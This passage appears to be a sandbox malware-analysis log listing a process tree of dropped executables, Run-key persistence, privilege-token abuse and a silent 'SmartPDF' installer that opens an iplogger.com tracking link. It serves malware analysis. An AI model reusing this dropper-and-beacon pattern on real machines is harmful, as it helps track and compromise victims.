C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:10532

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:10776

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:11124

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:10448

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:10564

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:10988

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9436

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:5324

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:10412

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:11100

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8844

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9520

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:5396

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9972

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7952

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:3172

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9380

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8916

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:4356

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:10216

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:11328

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:11612

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:11904

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:12160

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:12280

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 12280 -s 28
4⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:11176

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:11608

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6524

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:13020

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:13244

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:12916

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8536

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:13140

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:1976

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:2472

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6904

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:10912

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:13460

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:13700

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:14016

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:14236

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:13592

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:13908

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:14216

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:11568

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9956

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:13376

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:13820

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7592 -s 28
4⤵
- Program crash
PID:8844

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:5848

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:14260

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9368

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:14084

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:13648

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:4744

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:3980

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:12788

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:8152

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:12004

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9960

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:11272

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:3396

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:11332

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:14300

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:10356

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:12732

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:12256

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:11864

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:6528

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:13776

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:10080

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:4544

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:7208

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:10296

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:12112

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:11676

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:4536

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:12932

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:12676

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:13796

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:14208

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:11736

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:3296

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9992

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:12392

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:11596

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:14860

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:15132

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:14760

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:15136

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:9704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 9704 -s 28
4⤵
- Program crash
PID:15752

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:15636

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:16148

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:16084

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:16264

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:11944

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:16712

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:17180

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:16832

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:17204

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:12824

C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
C:\Users\Admin\Documents\vpfD8i8ZWrn78q8eDZH3H6Qo.exe
3⤵
PID:14544

C:\Users\Admin\Documents\oHR_H4qfhBp7Z14UAMq2BtlF.exe
"C:\Users\Admin\Documents\oHR_H4qfhBp7Z14UAMq2BtlF.exe"
2⤵
- Executes dropped EXE
PID:1428

C:\Users\Admin\Documents\oHR_H4qfhBp7Z14UAMq2BtlF.exe
"C:\Users\Admin\Documents\oHR_H4qfhBp7Z14UAMq2BtlF.exe" -u
3⤵
- Executes dropped EXE
PID:4944

C:\Users\Admin\Documents\cJLn5MKrN8t2IeC4H2prr7nd.exe
"C:\Users\Admin\Documents\cJLn5MKrN8t2IeC4H2prr7nd.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5040

C:\Users\Admin\AppData\Roaming\2720258.exe
"C:\Users\Admin\AppData\Roaming\2720258.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1792

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1792 -s 2088
4⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:7456

C:\Users\Admin\AppData\Roaming\5512077.exe
"C:\Users\Admin\AppData\Roaming\5512077.exe"
3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5252

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
4⤵
- Executes dropped EXE
PID:5492

C:\Users\Admin\AppData\Roaming\2755000.exe
"C:\Users\Admin\AppData\Roaming\2755000.exe"
3⤵
- Executes dropped EXE
PID:5484

C:\Users\Admin\AppData\Roaming\7047766.exe
"C:\Users\Admin\AppData\Roaming\7047766.exe"
3⤵
- Executes dropped EXE
PID:5768

C:\Users\Admin\AppData\Roaming\7832981.exe
"C:\Users\Admin\AppData\Roaming\7832981.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:6092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6092 -s 2460
4⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4700

C:\Users\Admin\Documents\fV5idJ6QtSpyo8yqb80UUS_a.exe
"C:\Users\Admin\Documents\fV5idJ6QtSpyo8yqb80UUS_a.exe"
2⤵
- Executes dropped EXE
PID:3152

C:\Users\Admin\AppData\Local\Temp\is-2QMIE.tmp\fV5idJ6QtSpyo8yqb80UUS_a.tmp
"C:\Users\Admin\AppData\Local\Temp\is-2QMIE.tmp\fV5idJ6QtSpyo8yqb80UUS_a.tmp" /SL5="$10296,138429,56832,C:\Users\Admin\Documents\fV5idJ6QtSpyo8yqb80UUS_a.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:1752

C:\Users\Admin\AppData\Local\Temp\is-ID8MU.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-ID8MU.tmp\Setup.exe" /Verysilent
4⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4616

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.com/1ESxy7
5⤵
- Adds Run key to start application
- Enumerates system info in registry
- Suspicious use of FindShellTrayWindow
PID:3792

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffef31246f8,0x7ffef3124708,0x7ffef3124718
6⤵
PID:5468

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2044,11843287450067321428,14235937210312682325,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2248 /prefetch:2
6⤵
PID:2540

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2044,11843287450067321428,14235937210312682325,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 /prefetch:3
6⤵
PID:4288

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2044,11843287450067321428,14235937210312682325,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2532 /prefetch:8
6⤵
PID:1920

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,11843287450067321428,14235937210312682325,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3216 /prefetch:1
6⤵
PID:6240

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,11843287450067321428,14235937210312682325,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3224 /prefetch:1
6⤵
PID:6376

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,11843287450067321428,14235937210312682325,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4284 /prefetch:1
6⤵
PID:7064

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2044,11843287450067321428,14235937210312682325,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4332 /prefetch:1
6⤵
PID:7152

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2044,11843287450067321428,14235937210312682325,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5580 /prefetch:8
6⤵
PID:6268

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.62\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2044,11843287450067321428,14235937210312682325,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5580 /prefetch:8
6⤵
PID:7548

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2044,11843287450067321428,14235937210312682325,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5440 /prefetch:2
6⤵
PID:6860

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=2044,11843287450067321428,14235937210312682325,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5596 /prefetch:8
6⤵
PID:10944

C:\Program Files (x86)\SmartPDF\SmartPDF\stat.exe
"C:\Program Files (x86)\SmartPDF\SmartPDF\stat.exe" /Verysilent
5⤵
- Executes dropped EXE
PID:5208

C:\Users\Admin\AppData\Local\Temp\is-T6ELO.tmp\stat.tmp
"C:\Users\Admin\AppData\Local\Temp\is-T6ELO.tmp\stat.tmp" /SL5="$30312,138429,56832,C:\Program Files (x86)\SmartPDF\SmartPDF\stat.exe" /Verysilent
6⤵
